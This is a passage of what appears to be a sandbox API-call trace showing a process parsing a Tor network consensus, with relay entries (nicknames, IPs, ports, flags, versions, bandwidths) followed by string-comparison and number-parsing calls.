0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 H" [0119.867] strlen (_Str="\ndirectory-footer") returned 0x11 [0119.867] memchr (_Buf=0x3940f6c, _Val=10, _MaxCount=0x12b) returned 0x3940fbc [0119.867] strncmp (_Str1="m IjKmHjHBk", _Str2="-----BEGIN ", _MaxCount=0xb) returned 64 [0119.867] strncmp (_Str1="s Fast Guar", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.867] strncmp (_Str1="v Tor 0.3.0", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.867] strncmp (_Str1="pr Cons=1-2", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.867] strncmp (_Str1="w Bandwidth", _Str2="-----BEGIN ", _MaxCount=0xb) returned 74 [0119.867] htonl (hostlong=0xb90d27c5) returned 0xc5270db9 [0119.867] htonl (hostlong=0xc5270db9) returned 0xb90d27c5 [0119.867] _errno () returned 0x9f07d8 [0119.867] strtol (in: _Str="443", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 443 [0119.867] _errno () returned 0x9f07d8 [0119.867] _errno () returned 0x9f07d8 [0119.867] strtol (in: _Str="80", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 80 [0119.867] _errno () returned 0x9f07d8 [0119.867] strcmp (_Str1="Fast", _Str2="Exit") returned 1 [0119.867] strcmp (_Str1="Fast", _Str2="Stable") returned -1 [0119.867] strcmp (_Str1="Fast", _Str2="Fast") returned 0 [0119.867] strcmp (_Str1="Guard", _Str2="Exit") returned 1 [0119.867] strcmp (_Str1="Guard", _Str2="Stable") returned -1 [0119.867] strcmp (_Str1="Guard", _Str2="Fast") returned 1 [0119.867] strcmp (_Str1="Guard", _Str2="Running") returned -1 [0119.867] strcmp (_Str1="Guard", _Str2="Named") returned -1 [0119.867] strcmp (_Str1="Guard", _Str2="Valid") returned -1 [0119.867] strcmp (_Str1="Guard", _Str2="Guard") returned 0 [0119.867] strcmp (_Str1="HSDir", _Str2="Exit") returned 1 [0119.867] strcmp (_Str1="HSDir", _Str2="Stable") returned -1 [0119.867] strcmp (_Str1="HSDir", _Str2="Fast") returned 1 [0119.867] strcmp (_Str1="HSDir", _Str2="Running") returned -1 [0119.867] strcmp (_Str1="HSDir", _Str2="Named") returned -1 [0119.867] strcmp (_Str1="HSDir", _Str2="Valid") returned -1 [0119.868] strcmp (_Str1="HSDir", _Str2="Guard") returned 1 [0119.868] strcmp (_Str1="HSDir", _Str2="BadExit") returned 1 [0119.868] strcmp (_Str1="HSDir", _Str2="Authority") returned 1 [0119.868] strcmp (_Str1="HSDir", _Str2="Unnamed") returned -1 [0119.868] strcmp (_Str1="HSDir", _Str2="HSDir") returned 0 [0119.868] strcmp (_Str1="Running", _Str2="Exit") returned 1 [0119.868] strcmp (_Str1="Running", _Str2="Stable") returned -1 [0119.868] strcmp (_Str1="Running", _Str2="Fast") returned 1 [0119.868] strcmp (_Str1="Running", _Str2="Running") returned 0 [0119.868] strcmp (_Str1="Stable", _Str2="Exit") returned 1 [0119.868] strcmp (_Str1="Stable", _Str2="Stable") returned 0 [0119.868] strcmp (_Str1="V2Dir", _Str2="Exit") returned 1 [0119.868] strcmp (_Str1="V2Dir", _Str2="Stable") returned 1 [0119.868] strcmp (_Str1="V2Dir", _Str2="Fast") returned 1 [0119.868] strcmp (_Str1="V2Dir", _Str2="Running") returned 1 [0119.868] strcmp (_Str1="V2Dir", _Str2="Named") returned 1 [0119.868] strcmp (_Str1="V2Dir", _Str2="Valid") returned -1 [0119.868] strcmp (_Str1="V2Dir", _Str2="Guard") returned 1 [0119.868] strcmp (_Str1="V2Dir", _Str2="BadExit") returned 1 [0119.868] strcmp (_Str1="V2Dir", _Str2="Authority") returned 1 [0119.868] strcmp (_Str1="V2Dir", _Str2="Unnamed") returned 1 [0119.868] strcmp (_Str1="V2Dir", _Str2="HSDir") returned 1 [0119.868] strcmp (_Str1="V2Dir", _Str2="V2Dir") returned 0 [0119.868] strcmp (_Str1="Valid", _Str2="Exit") returned 1 [0119.868] strcmp (_Str1="Valid", _Str2="Stable") returned 1 [0119.868] strcmp (_Str1="Valid", _Str2="Fast") returned 1 [0119.868] strcmp (_Str1="Valid", _Str2="Running") returned 1 [0119.868] strcmp (_Str1="Valid", _Str2="Named") returned 1 [0119.868] strcmp (_Str1="Valid", _Str2="Valid") returned 0 [0119.868] strlen (_Str="Tor ") returned 0x4 [0119.868] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.868] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.868] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.868] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.868] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.868] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.868] strlen (_Str="(git-") returned 0x5 [0119.868] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.868] strlen (_Str="Tor ") returned 0x4 [0119.868] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.868] strlen (_Str="(r") returned 0x2 [0119.868] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.868] strlen (_Str="(git-") returned 0x5 [0119.868] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.868] strtol (in: _Str="0.3.0.9", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".3.0.9") returned 0 [0119.868] strtol (in: _Str="3.0.9", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".0.9") returned 3 [0119.869] strtol (in: _Str="0.9", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".9") returned 0 [0119.869] strtol (in: _Str="9", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 9 [0119.869] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.869] strlen (_Str="(git-") returned 0x5 [0119.869] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.869] strlen (_Str="Bandwidth=") returned 0xa [0119.869] strncmp (_Str1="Bandwidth=", _Str2="Bandwidth=", _MaxCount=0xa) returned 0 [0119.869] strncmp (_Str1="r ", _Str2="r ", _MaxCount=0x2) returned 0 [0119.869] strstr (_Str="r MansikkaMaki04 ABpoc34PraISaJvGDXJn/1XrZyI 2017-08-21 19:11:45 35.196.246.155 9001 9030\nm eebCg4IkvACJGrf4+ma1rHffy223xC2BkxME0JBf+lw\ns Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=20\nr metroholografix ACEhJSRnU4ydobwjeJl+ZGKYFPY 2017-08-21 17:00:57 46.4.253.194 443 9030\nm rLolLZe4zfYDrUmzDTGeU/DdFtAmOzC/OEjtKu7XxsU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=141\nr dj2bee ACaSv+vqmZwxB7Wfcg1/mkwpgZ8 2017-08-21 03:39:28 87.118.116.227 9001 0\nm xieN5PK4YAcfozCB7WfclM5Bucw/FVXWx6OUK8zzoMc\ns Fast Running Stable Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=110\nr UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 